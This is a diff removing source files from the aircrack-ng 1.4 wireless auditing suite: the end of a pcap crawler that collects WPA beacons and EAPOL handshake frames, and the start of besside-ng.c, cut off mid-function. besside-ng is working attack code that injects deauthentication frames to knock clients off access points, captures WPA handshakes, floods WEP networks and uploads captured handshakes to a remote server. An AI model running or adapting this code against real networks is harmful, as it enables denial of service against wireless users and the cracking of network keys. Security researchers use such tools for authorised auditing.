- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <inttypes.h>
-#include <time.h>
-
-#include <sys/types.h>
-#include <dirent.h>
-#include <errno.h>
-#include <sys/stat.h>
-
-#include <pcap/pcap.h>
-
-// Statistics
-uint32_t stats_files = 0;
-uint32_t stats_dirs = 0;
-uint32_t stats_caps = 0;
-uint32_t stats_noncaps = 0;
-uint32_t stats_packets = 0;
-uint32_t stats_eapols = 0;
-uint32_t stats_networks = 0;
-
-// Global Dumpfile
-pcap_t * dumphandle;
-pcap_dumper_t * dumper;
-
-struct bsslist
-{
-	u_char * bssid;
-	u_char beacon_saved;
-	struct bsslist * next;
-};
-
-static struct bsslist * is_in_list(struct bsslist * bsl, const u_char * bssid)
-{
-
-	while (bsl != NULL)
-	{
-		if (!memcmp(bsl->bssid, bssid, 6)) return bsl;
-		bsl = bsl->next;
-	}
-
-	return NULL;
-}
-
-static struct bsslist * add_to_list(struct bsslist * bsl, const u_char * bssid)
-{
-	struct bsslist * new, *search;
-
-	new = malloc(sizeof(struct bsslist));
-	new->bssid = malloc(6);
-
-	memcpy(new->bssid, bssid, 6);
-	new->next = NULL;
-	new->beacon_saved = 0x00;
-
-	if (bsl == NULL)
-	{
-		return new;
-	}
-	else
-	{
-		search = bsl;
-		while (search->next) search = search->next;
-		search->next = new;
-		return bsl;
-	}
-}
-
-static void free_bsslist(struct bsslist * bsl)
-{
-	if (!bsl) return;
-
-	if (bsl->next) free_bsslist(bsl->next);
-
-	free(bsl->bssid);
-	free(bsl);
-}
-
-static struct bsslist * get_eapol_bssids(pcap_t * handle)
-{
-	struct pcap_pkthdr header;
-	const u_char *pkt, *llc, *bssid, *offset = NULL;
-	struct bsslist * bsl = NULL;
-	int o = 0;
-
-	pkt = pcap_next(handle, &header);
-
-	if (pcap_datalink(handle) == DLT_PRISM_HEADER)
-	{
-		if (pkt[5] || pkt[6])
-		{
-			printf("Unsupported PRISM_HEADER format!\n");
-			return NULL;
-		}
-		if (pkt[7] == 0x40)
-		{ // prism54 format
-			offset = pkt + 7;
-		}
-		else
-		{
-			offset = pkt + 4;
-		}
-	}
-
-	while (pkt != NULL)
-	{
-		stats_packets++;
-
-		if (offset) o = (*offset);
-
-		if ((pkt[0 + o] == 0x08) || (pkt[0 + o] == 0x88))
-		{ // Data or QoS Data
-
-			if (pkt[0 + o] == 0x88)
-			{ // Qos Data has 2 bytes extra in header
-				llc = pkt + 26 + o;
-			}
-			else
-			{
-				llc = pkt + 24 + o;
-			}
-
-			if ((pkt[1 + o] & 0x03) == 0x01)
-			{ // toDS
-				bssid = pkt + 4 + o;
-			}
-			else
-			{ // fromDS - I skip adhoc and wds since its unlikely to have eapol
-				// in there (?)
-				bssid = pkt + 10 + o;
-			}
-
-			if (!memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8))
-			{
-				stats_eapols++;
-
-				if (!is_in_list(bsl, bssid))
-				{
-					printf("EAPOL found for BSSID: "
-						   "%02X:%02X:%02X:%02X:%02X:%02X\n",
-						   bssid[0],
-						   bssid[1],
-						   bssid[2],
-						   bssid[3],
-						   bssid[4],
-						   bssid[5]);
-					bsl = add_to_list(bsl, bssid);
-					stats_networks++;
-				}
-			}
-		}
-
-		pkt = pcap_next(handle, &header);
-	}
-
-	return bsl;
-}
-
-static void process_eapol_networks(pcap_t * handle, struct bsslist * bsl)
-{
-	struct pcap_pkthdr header;
-	const u_char *pkt, *llc, *bssid, *offset = 0;
-	struct bsslist * known;
-	int o = 0;
-
-	pkt = pcap_next(handle, &header);
-
-	if (pcap_datalink(handle) == DLT_PRISM_HEADER)
-	{
-		if (pkt[7] == 0x40)
-		{ // prism54 format
-			offset = pkt + 7;
-		}
-		else
-		{
-			offset = pkt + 4;
-		}
-	}
-
-	while (pkt != NULL)
-	{
-
-		if (offset) o = (*offset);
-		header.len -= o;
-
-		if ((pkt[0 + o] == 0x08) || (pkt[0 + o] == 0x88)
-			|| (pkt[0 + o] == 0x80))
-		{
-
-			if ((pkt[1 + o] & 0x03) == 0x01)
-			{ // toDS
-				bssid = pkt + 4 + o;
-			}
-			else if ((pkt[1 + o] & 0x03) == 0x00)
-			{ // beacon
-				bssid = pkt + 16 + o;
-			}
-			else
-			{ // fromDS
-				bssid = pkt + 10 + o;
-			}
-
-			if (pkt[0 + o] == 0x80)
-			{ // beacon
-				known = is_in_list(bsl, bssid);
-				if (!known || known->beacon_saved)
-				{
-					pkt = pcap_next(handle, &header);
-					continue;
-				}
-
-				// Saving ONE beacon per WPA network
-				pcap_dump((u_char *) dumper, &header, pkt + o);
-				known->beacon_saved = 0x01;
-			}
-
-			if (pkt[0 + o] == 0x88)
-			{
-				// printf("QoS Data\n");
-				llc = pkt + 26 + o;
-			}
-			else
-			{
-				llc = pkt + 24 + o;
-			}
-
-			if (!memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8))
-			{
-				if (is_in_list(bsl, bssid))
-				{
-					// Saving EAPOL
-					pcap_dump((u_char *) dumper, &header, pkt + o);
-				}
-			}
-		}
-
-		pkt = pcap_next(handle, &header);
-	}
-}
-
-static void process_file(const char * file)
-{
-	pcap_t * handle;
-	char errbuf[PCAP_ERRBUF_SIZE];
-	struct bsslist * eapol_networks = NULL;
-
-	stats_files++;
-
-	handle = pcap_open_offline(file, errbuf);
-	if (!handle)
-	{
-		stats_noncaps++;
-		return;
-	}
-
-	stats_caps++;
-
-	if ((pcap_datalink(handle) != DLT_IEEE802_11)
-		&& (pcap_datalink(handle) != DLT_PRISM_HEADER))
-	{
-		// TODO: Add support for RADIOTAP!!!!
-		printf("Dumpfile %s is not an IEEE 802.11 capture: %s\n",
-			   file,
-			   pcap_datalink_val_to_name(pcap_datalink(handle)));
-		pcap_close(handle);
-		return;
-	}
-
-	printf("Scanning dumpfile %s\n", file);
-	eapol_networks = get_eapol_bssids(handle);
-
-	pcap_close(handle);
-	if (!eapol_networks) return; // No WPA networks found, skipping to next file
-
-	handle = pcap_open_offline(file, errbuf);
-
-	process_eapol_networks(handle, eapol_networks);
-	pcap_close(handle);
-
-	free_bsslist(eapol_networks);
-}
-
-static void process_directory(const char * dir, time_t begin)
-{
-	DIR * curdir;
-	struct dirent * curent;
-	struct stat curstat;
-	char * fullname;
-	size_t fullname_size;
-
-	stats_dirs++;
-
-	curdir = opendir(dir);
-
-	if (!curdir)
-	{
-		perror("Opening directory failed");
-		return;
-	}
-
-	errno = 0;
-	curent = readdir(curdir);
-
-	while (curent)
-	{
-		if ((!strcmp("..", curent->d_name)) || (!strcmp(".", curent->d_name)))
-		{
-			curent = readdir(curdir);
-			continue;
-		}
-
-		fullname_size = strlen(dir) + strlen(curent->d_name) + 2;
-		fullname = malloc(fullname_size);
-		memcpy(fullname, dir, strlen(dir) + 1);
-		strncat(fullname, "/", fullname_size - 1);
-		strncat(fullname, curent->d_name, fullname_size - 1);
-
-		if (stat(fullname, &curstat))
-		{
-			printf("Statting %s ", fullname);
-			perror("failed");
-		}
-		else
-		{
-			if (S_ISREG(curstat.st_mode))
-			{
-				if (curstat.st_mtime >= begin)
-				{
-					printf("Skipping file %s, which is newer than the crawler "
-						   "process (avoid loops)\n",
-						   fullname);
-				}
-				else
-				{
-					process_file(fullname);
-				}
-			}
-			else if (S_ISDIR(curstat.st_mode))
-			{
-				process_directory(fullname, begin);
-			}
-			else
-			{
-				printf("%s is a neither a directory nor a regular file\n",
-					   fullname);
-			}
-		}
-
-		free(fullname);
-		curent = readdir(curdir);
-	}
-
-	if (errno) perror("Reading directory failed");
-
-	closedir(curdir);
-	return;
-}
-
-int main(int argc, char * argv[])
-{
-	time_t begin = time(NULL); // Every file newer than when crawler started is
-	// skipped (it may be the file the crawler
-	// created!)
-
-	if (argc != 3)
-	{
-		printf("Use: %s <SearchDir> <CapFileOut>\n", argv[0]);
-		printf("What does it do?\n\nIt recurses the SearchDir directory\n");
-		printf("Opens all files in there, searching for pcap-dumpfiles\n");
-		printf("Filters out a single beacon and all EAPOL frames from the WPA "
-			   "networks in there\n");
-		printf("And saves them to CapFileOut.\n\n");
-		exit(0);
-	}
-
-	dumphandle = pcap_open_dead(DLT_IEEE802_11, BUFSIZ);
-	dumper = pcap_dump_open(dumphandle, argv[2]);
-
-	if (dumper == NULL)
-	{
-		pcap_perror(dumphandle, "ERROR");
-		pcap_close(dumphandle);
-	}
-
-	process_directory(argv[1], begin);
-
-	pcap_dump_close(dumper);
-	pcap_close(dumphandle);
-
-	printf("DONE. Statistics:\n");
-	printf("Files scanned:      %12d\n", stats_files);
-	printf("Directories scanned:%12d\n", stats_dirs);
-	printf("Dumpfiles found:    %12d\n", stats_caps);
-	printf("Skipped files:      %12d\n", stats_noncaps);
-	printf("Packets processed:  %12d\n", stats_packets);
-	printf("EAPOL packets:      %12d\n", stats_eapols);
-	printf("WPA Network count:  %12d\n", stats_networks);
-
-	return 0;
-}

aircrack-ng-1.4.tar.gz/src/besside-ng.c Deleted

@@ -1,3234 +0,0 @@
-/*
- *  Copyright (C) 2010 Andrea Bittau <bittau@cs.stanford.edu>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <sys/select.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/time.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <getopt.h>
-#include <err.h>
-#include <signal.h>
-#include <string.h>
-#include <assert.h>
-#include <time.h>
-#include <stdarg.h>
-#include <errno.h>
-#include <netdb.h>
-#include <unistd.h>
-#include <limits.h>
-
-#ifdef HAVE_PCRE
-#include <pcre.h>
-#endif
-
-#include "aircrack-ng.h"
-#include "version.h"
-#include "aircrack-ptw-lib.h"
-#include "aircrack-osdep/osdep.h"
-#include "ieee80211.h"
-#include "crypto.h"
-#include "pcap.h"
-#include "aircrack-util/console.h"
-#include "aircrack-util/common.h"
-
-#ifdef UNUSED
-#elif defined(__GNUC__)
-#define UNUSED(x) UNUSED_##x __attribute__((unused))
-#elif defined(__LCLINT__)
-#define UNUSED(x) /*@unused@*/ x
-#else
-#define UNUSED(x) x
-#endif
-
-int PTW_DEFAULTBF[PTW_KEYHSBYTES]
-	= {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
-	   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
-
-enum
-{
-	STATE_SCAN = 0,
-	STATE_ATTACK,
-	STATE_DONE,
-};
-
-enum
-{
-	CRYPTO_NONE = 0,
-	CRYPTO_WEP,
-	CRYPTO_WPA,
-	CRYPTO_WPA_MGT,
-};
-
-enum
-{
-	ASTATE_NONE = 0,
-	ASTATE_PING,
-	ASTATE_READY,
-
-	ASTATE_DEAUTH,
-	ASTATE_WPA_CRACK,
-
-	ASTATE_WEP_PRGA_GET,
-	ASTATE_WEP_FLOOD,
-
-	ASTATE_DONE,
-	ASTATE_UNREACH,
-};
-
-enum
-{
-	WSTATE_NONE = 0,
-	WSTATE_AUTH,
-	WSTATE_ASSOC,
-};
-
-enum
-{
-	V_NORMAL = 0,
-	V_VERBOSE,
-};
-
-struct cracker;
-struct network;
-
-typedef void (*timer_cb)(void *);
-typedef void (*cracker_cb)(struct cracker *, struct network * n);
-typedef int (*check_cb)(struct network * n);
-
-struct channel
-{
-	int c_num;
-	struct channel * c_next;
-};
-
-struct conf
-{
-	char * cf_ifname;
-	struct channel cf_channels;
-	int cf_hopfreq;
-	int cf_deauthfreq;
-	unsigned char * cf_bssid;
-	int cf_attackwait;
-	int cf_floodwait;
-	char * cf_wordlist;
-	int cf_verb;
-	int cf_to;
-	int cf_floodfreq;
-	int cf_crack_int;
-	char * cf_wpa;
-	char * cf_wep;
-	char * cf_log;
-	int cf_do_wep;
-	int cf_do_wpa;
-	char * cf_wpa_server;
-#ifdef HAVE_PCRE
-	pcre * cf_essid_regex;
-#endif
-} _conf;
-
-struct timer
-{
-	struct timeval t_tv;
-	timer_cb t_cb;
-	void * t_arg;
-	struct timer * t_next;
-};
-
-struct packet
-{
-	unsigned char p_data[2048];
-	int p_len;
-};
-
-struct client
-{
-	unsigned char c_mac[6];
-	int c_wpa;
-	int c_wpa_got;
-	int c_dbm;
-	struct packet c_handshake[4];
-	struct client * c_next;
-};
-
-struct speed
-{
-	unsigned int s_num;
-	struct timeval s_start;
-	unsigned int s_speed;
-};
-
-struct cracker
-{
-	int cr_pid;
-	int cr_pipe[2];
-};
-
-struct network
-{
-	char n_ssid[256];
-	unsigned char n_bssid[6];
-	int n_crypto;
-	int n_chan;
-	struct network * n_next;
-	struct timeval n_start;
-	int n_have_beacon;
-	struct client n_clients;
-	int n_astate;
-	int n_wstate;
-	unsigned short n_seq;
-	int n_dbm;
-	int n_ping_sent;
-	int n_ping_got;
-	int n_attempts;
-	unsigned char n_prga[2048];
-	int n_prga_len;
-	unsigned char n_replay[2048];
-	int n_replay_len;
-	int n_replay_got;
-	struct timeval n_replay_last;
-	struct speed n_flood_in;
-	struct speed n_flood_out;
-	int n_data_count;
-	int n_crack_next;
-	PTW_attackstate * n_ptw;
-	struct cracker n_cracker_wep[2];
-	unsigned char n_key[64];
-	int n_key_len;
-	struct packet n_beacon;
-	int n_beacon_wrote;
-	struct client * n_client_handshake;
-	int n_mac_filter;
-	struct client * n_client_mac;
-	int n_got_mac;
-};
-
-struct state
-{
-	struct wif * s_wi;
-	int s_state;
-	struct timeval s_now;
-	struct timeval s_start;
-	struct network s_networks;
-	struct network * s_curnet;
-	struct channel * s_hopchan;
-	unsigned int s_hopcycles;
-	int s_chan;
-	unsigned char s_mac[6];
-	struct timer s_timers;
-	struct rx_info * s_ri;
-	int s_wpafd;
-	int s_wepfd;
-} _state;
-
-static void attack_continue(struct network * n);
-static void attack(struct network * n);
-
-void show_wep_stats(int UNUSED(B),
-					int UNUSED(force),
-					PTW_tableentry UNUSED(table[PTW_KEYHSBYTES][PTW_n]),
-					int UNUSED(choices[KEYHSBYTES]),
-					int UNUSED(depth[KEYHSBYTES]),
-					int UNUSED(prod))
-{
-}
-
-static void time_printf(int verb, char * fmt, ...)
-{
-	time_t now = _state.s_now.tv_sec;
-	struct tm * t;
-	va_list ap;
-
-	if (verb > _conf.cf_verb) return;
-
-	t = localtime(&now);
-	if (!t) err(1, "localtime()");
-
-	erase_line(0);
-	printf("[%.2d:%.2d:%.2d] ", t->tm_hour, t->tm_min, t->tm_sec);
-
-	va_start(ap, fmt);
-	vprintf(fmt, ap);
-	va_end(ap);
-}
-
-static void cracker_kill(struct cracker * c)
-{
-	if (c->cr_pid)
-	{
-		kill(c->cr_pid, SIGKILL);
-
-		if (c->cr_pipe[0]) close(c->cr_pipe[0]);
-	}
-
-	memset(c, 0, sizeof(*c));
-}
-
-static char * mac2str(unsigned char * mac)
-{
-	static char out[18];
-
-	snprintf(out,
-			 sizeof(out),
-			 "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",
-			 mac[0],
-			 mac[1],
-			 mac[2],
-			 mac[3],
-			 mac[4],
-			 mac[5]);
-
-	return out;
-}
-
-static void save_network(FILE * f, struct network * n)
-{
-	int len;
-
-	if (n->n_crypto != CRYPTO_WPA && n->n_crypto != CRYPTO_WEP) return;
-
-	if (!n->n_have_beacon) return;
-
-	if (n->n_astate != ASTATE_DONE) return;
-
-	len = strlen(n->n_ssid);
-
-	fprintf(f, "%s", n->n_ssid);
-
-	while (len++ < 20) fprintf(f, " ");
-
-	fprintf(f, "| ");
-	len = 0;
-	if (n->n_key_len)
-	{
-		for (len = 0; len < n->n_key_len; len++)
-		{
-			if (len != 0) fprintf(f, ":");
-
-			fprintf(f, "%.2x", n->n_key[len]);
-		}
-
-		len = n->n_key_len * 3 - 1;
-	}
-
-	if (n->n_client_handshake)
-	{
-		fprintf(f, "Got WPA handshake");
-		len = 17;
-	}
-
-	if (n->n_astate == ASTATE_UNREACH)
-	{
-		fprintf(f, "Crappy connection");
-		len = 17;
-	}
-
-	while (len++ < 38) fprintf(f, " ");
-
-	fprintf(f, " | %s", mac2str(n->n_bssid));
-
-	fprintf(f, " | ");
-	if (n->n_got_mac) fprintf(f, "%s", mac2str(n->n_client_mac->c_mac));
-
-	fprintf(f, "\n");
-}
-
-static void save_log(void)
-{
-	FILE * f;
-	struct network * n = _state.s_networks.n_next;
-
-	f = fopen(_conf.cf_log, "w");
-	if (!f) err(1, "fopen()");
-
-	fprintf(f, "# SSID              ");
-	fprintf(f, "| KEY                                    | BSSID");
-	fprintf(f, "             | MAC filter\n");
-
-	while (n)
-	{
-		save_network(f, n);
-		n = n->n_next;
-	}
-
-	fclose(f);
-}
-
-static void do_wait(int UNUSED(x)) { wait(NULL); }
-
-static void * xmalloc(size_t sz)
-{
-	void * p = malloc(sz);
-
-	if (!p) err(1, "malloc()");
-
-	return p;
-}
-
-static int time_diff(struct timeval * past, struct timeval * now)
-{
-	int p = 0, n = 0;
-
-	if (now->tv_sec > past->tv_sec)
-		n = (now->tv_sec - past->tv_sec) * 1000 * 1000;
-	else
-		p = (past->tv_sec - now->tv_sec) * 1000 * 1000;
-
-	n += now->tv_usec;
-	p += past->tv_usec;
-
-	return n - p;
-}
-
-static void timer_next(struct timeval * tv)
-{
-	struct timer * t = _state.s_timers.t_next;
-	int diff;
-
-	if (!t)
-	{
-		tv->tv_sec = 1;
-		tv->tv_usec = 0;
-		return;
-	}
-
-	diff = time_diff(&_state.s_now, &t->t_tv);
-	if (diff <= 0)
-	{
-		tv->tv_sec = 0;
-		tv->tv_usec = 0;
-		return;
-	}
-
-	tv->tv_sec = diff / (1000 * 1000);
-	tv->tv_usec = diff - (tv->tv_sec * 1000 * 1000);
-}
-
-static void timer_in(int us, timer_cb cb, void * arg)
-{
-	struct timer * t = xmalloc(sizeof(*t));
-	struct timer * p = &_state.s_timers;
-	int s;
-
-	memset(t, 0, sizeof(*t));
-
-	t->t_cb = cb;
-	t->t_arg = arg;
-	t->t_tv = _state.s_now;
-
-	t->t_tv.tv_usec += us;
-
-	s = t->t_tv.tv_usec / (1000 * 1000);
-	t->t_tv.tv_sec += s;
-	t->t_tv.tv_usec -= s * 1000 * 1000;
-
-	while (p->t_next)
-	{
-		if (time_diff(&t->t_tv, &p->t_next->t_tv) > 0) break;
-
-		p = p->t_next;
-	}
-
-	t->t_next = p->t_next;
-	p->t_next = t;
-
-	//	timer_print();
-}
-
-static void timer_check(void)
-{
-	//	timer_print();
-
-	while (_state.s_timers.t_next)
-	{
-		struct timer * t = _state.s_timers.t_next;
-
-		if (time_diff(&t->t_tv, &_state.s_now) < 0) break;
-
-		_state.s_timers.t_next = t->t_next;
-
-		t->t_cb(t->t_arg);
-
-		free(t);
-	}
-}
-
-static unsigned char * get_bssid(struct ieee80211_frame * wh)
-{
-	int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
-	uint16_t * p = (uint16_t *) (wh + 1);
-
-	if (type == IEEE80211_FC0_TYPE_CTL) return NULL;
-
-	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
-		return wh->i_addr1;
-	else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
-		return wh->i_addr2;
-
-	// XXX adhoc?
-	if (type == IEEE80211_FC0_TYPE_DATA) return wh->i_addr1;
-
-	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
-	{
-		case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
-		case IEEE80211_FC0_SUBTYPE_REASSOC_REQ:
-		case IEEE80211_FC0_SUBTYPE_DISASSOC:
-			return wh->i_addr1;
-
-		case IEEE80211_FC0_SUBTYPE_AUTH:
-			/* XXX check len */
-			switch (le16toh(p[1]))
-			{
-				case 1:
-				case 3:
-					return wh->i_addr1;
-
-				case 2:
-				case 4:
-					return wh->i_addr2;
-			}
-			return NULL;
-
-		case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
-		case IEEE80211_FC0_SUBTYPE_REASSOC_RESP:
-		case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
-		case IEEE80211_FC0_SUBTYPE_BEACON:
-		case IEEE80211_FC0_SUBTYPE_DEAUTH:
-			return wh->i_addr2;
-
-		case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
-		default:
-			return NULL;
-	}
-}
-
-static struct network * network_get(struct ieee80211_frame * wh)
-{
-	struct network * n = _state.s_networks.n_next;
-	unsigned char * bssid = get_bssid(wh);
-
-	if (!bssid) return NULL;
-
-	while (n)
-	{
-		if (memcmp(n->n_bssid, bssid, sizeof(n->n_bssid)) == 0) return n;
-
-		n = n->n_next;
-	}
-
-	return NULL;
-}
-
-static struct network * network_new(void)
-{
-	struct network * n = xmalloc(sizeof(*n));
-
-	memset(n, 0, sizeof(*n));
-	n->n_crack_next = _conf.cf_crack_int;
-
-	return n;
-}
-
-static void do_network_add(struct network * n)
-{
-	struct network * p = &_state.s_networks;
-
-	while (p->n_next) p = p->n_next;
-
-	p->n_next = n;
-}
-
-static struct network * network_add(struct ieee80211_frame * wh)
-{
-	struct network * n;
-	unsigned char * bssid = get_bssid(wh);
-
-	if (!bssid) return NULL;
-
-	n = network_new();
-
-	memcpy(n->n_bssid, bssid, sizeof(n->n_bssid));
-
-	do_network_add(n);
-
-	return n;
-}
-
-static inline void print_hex(void * p, int len)
-{
-	unsigned char * x = p;
-
-	while (len--)
-	{
-		printf("%.2x", *x++);
-		if (len) printf(":");
-	}
-}
-
-static void network_print(struct network * n)
-{
-	const char * crypto = "dunno";
-
-	switch (n->n_crypto)
-	{
-		case CRYPTO_NONE:
-			crypto = "none";
-			break;
-
-		case CRYPTO_WEP:
-			crypto = "WEP";
-			break;
-
-		case CRYPTO_WPA:
-			crypto = "WPA";
-			break;
-
-		case CRYPTO_WPA_MGT:
-			crypto = "WPA-SECURE";
-			break;
-	}
-
-	time_printf(V_VERBOSE,
-				"Found AP %s [%s] chan %d crypto %s dbm %d\n",
-				mac2str(n->n_bssid),
-				n->n_ssid,
-				n->n_chan,
-				crypto,
-				n->n_dbm);
-}
-
-static void channel_set(int num)
-{
-	if (wi_set_channel(_state.s_wi, num) == -1) err(1, "wi_set_channel()");
-
-	_state.s_chan = num;
-}
-
-static unsigned short fnseq(unsigned short fn, unsigned short seq)
-{
-	unsigned short r = 0;
-
-	assert(fn < 16);
-
-	r = fn;
-
-	r |= ((seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
-
-	return htole16(r);
-}
-
-static void fill_basic(struct network * n, struct ieee80211_frame * wh)
-{
-	uint16_t * p;
-
-	memset(wh, 0, sizeof(*wh));
-
-	p = (uint16_t *) wh->i_dur;
-	*p = htole16(32767);
-
-	p = (uint16_t *) wh->i_seq;
-	*p = fnseq(0, n->n_seq++);
-}
-
-static void wifi_send(void * p, int len)
-{
-	int rc;
-	struct tx_info tx;
-
-	memset(&tx, 0, sizeof(tx));
-
-	rc = wi_write(_state.s_wi, p, len, &tx);
-	if (rc == -1) err(1, "wi_write()");
-}
-
-static void deauth_send(struct network * n, unsigned char * mac)
-{
-	unsigned char buf[2048];
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	uint16_t * rc = (uint16_t *) (wh + 1);
-
-	fill_basic(n, wh);
-	memcpy(wh->i_addr1, mac, sizeof(wh->i_addr1));
-	memcpy(wh->i_addr2, n->n_bssid, sizeof(wh->i_addr2));
-	memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3));
-
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_DEAUTH;
-
-	*rc++ = htole16(7);
-
-	time_printf(V_VERBOSE, "Sending deauth to %s\n", mac2str(mac));
-
-	wifi_send(wh, (unsigned long) rc - (unsigned long) wh);
-}
-
-static void deauth(void * arg)
-{
-	struct network * n = arg;
-	struct client * c = n->n_clients.c_next;
-
-	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
-		|| n->n_astate != ASTATE_DEAUTH)
-		return;
-
-	deauth_send(n, BROADCAST);
-
-	while (c)
-	{
-		deauth_send(n, c->c_mac);
-		c = c->c_next;
-	}
-
-	timer_in(_conf.cf_deauthfreq * 1000, deauth, n);
-}
-
-static int open_pcap(char * fname)
-{
-	int fd;
-	struct pcap_file_header pfh;
-
-	fd = open(fname, O_RDWR | O_APPEND);
-	if (fd != -1)
-	{
-		time_printf(V_NORMAL, "Appending to %s\n", fname);
-		return fd;
-	}
-
-	memset(&pfh, 0, sizeof(pfh));
-	pfh.magic = TCPDUMP_MAGIC;
-	pfh.version_major = PCAP_VERSION_MAJOR;
-	pfh.version_minor = PCAP_VERSION_MINOR;
-	pfh.thiszone = 0;
-	pfh.sigfigs = 0;
-	pfh.snaplen = 65535;
-	pfh.linktype = LINKTYPE_IEEE802_11;
-
-	fd = open(fname, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
-	if (fd == -1) err(1, "open(%s)", fname);
-
-	if (write(fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()");
-
-	return fd;
-}
-
-static void write_pcap(int fd, void * p, int len)
-{
-	struct pcap_pkthdr pkh;
-
-	memset(&pkh, 0, sizeof(pkh));
-
-	pkh.caplen = pkh.len = len;
-	pkh.tv_sec = _state.s_now.tv_sec;
-	pkh.tv_usec = _state.s_now.tv_usec;
-
-	if (write(fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()");
-
-	if (write(fd, p, len) != len) err(1, "write()");
-}
-
-static void packet_write_pcap(int fd, struct packet * p)
-{
-	write_pcap(fd, p->p_data, p->p_len);
-}
-
-static void wpa_upload(void)
-{
-	struct sockaddr_in s_in;
-	int s;
-	char buf[4096];
-	char boundary[128];
-	char h1[1024];
-	char form[1024];
-	struct stat stat;
-	off_t off;
-	int tot;
-	int ok = 0;
-
-	memset(&s_in, 0, sizeof(s_in));
-
-	s_in.sin_family = PF_INET;
-	s_in.sin_port = htons(80);
-
-	if (inet_aton(_conf.cf_wpa_server, &s_in.sin_addr) == 0)
-	{
-		struct hostent * he;
-
-		he = gethostbyname(_conf.cf_wpa_server);
-		if (!he) goto __no_resolve;
-
-		if (!he->h_addr_list[0])
-		{
-		__no_resolve:
-			time_printf(V_NORMAL, "Can't resolve %s\n", _conf.cf_wpa_server);
-			return;
-		}
-
-		memcpy(&s_in.sin_addr, he->h_addr_list[0], 4);
-	}
-
-	if ((s = socket(s_in.sin_family, SOCK_STREAM, 0)) == -1) err(1, "socket()");
-
-	if (connect(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
-	{
-		time_printf(V_NORMAL, "Can't connect to %s\n", _conf.cf_wpa_server);
-
-		close(s);
-		return;
-	}
-
-	if (fstat(_state.s_wpafd, &stat) == -1) err(1, "fstat()");
-
-	snprintf(boundary, sizeof(boundary), "37872861916401860062104501923");
-
-	snprintf(h1,
-			 sizeof(h1),
-			 "--%s\r\n"
-			 "Content-Disposition: form-data;"
-			 " name=\"file\";"
-			 " filename=\"wpa.cap\"\r\n"
-			 "Content-Type: application/octet-stream\r\n\r\n",
-			 boundary);
-
-	snprintf(form,
-			 sizeof(form),
-			 "\r\n"
-			 "--%s\r\n"
-			 "Content-Disposition: form-data;"
-			 " name=\"fs\"\r\n\r\n"
-			 "Upload"
-			 "\r\n"
-			 "%s--\r\n",
-			 boundary,
-			 boundary);
-
-	tot = stat.st_size;
-
-	snprintf(buf,
-			 sizeof(buf),
-			 "POST /index.php HTTP/1.0\r\n"
-			 "Host: %s\r\n"
-			 "User-Agent: besside-ng\r\n"
-			 "Content-Type: multipart/form-data; boundary=%s\r\n"
-			 "Content-Length: %d\r\n\r\n",
-			 _conf.cf_wpa_server,
-			 boundary,
-			 (int) (strlen(h1) + strlen(form) + tot));
-
-	if (write(s, buf, strlen(buf)) != (int) strlen(buf)) goto __fail;
-
-	if (write(s, h1, strlen(h1)) != (int) strlen(h1)) goto __fail;
-
-	if ((off = lseek(_state.s_wpafd, 0, SEEK_CUR)) == (off_t) -1)
-		err(1, "lseek()");
-
-	if (lseek(_state.s_wpafd, 0, SEEK_SET) == (off_t) -1) err(1, "lseek()");
-
-	while (tot)
-	{
-		int l = tot;
-
-		if (l > (int) sizeof(buf)) l = sizeof(buf);
-
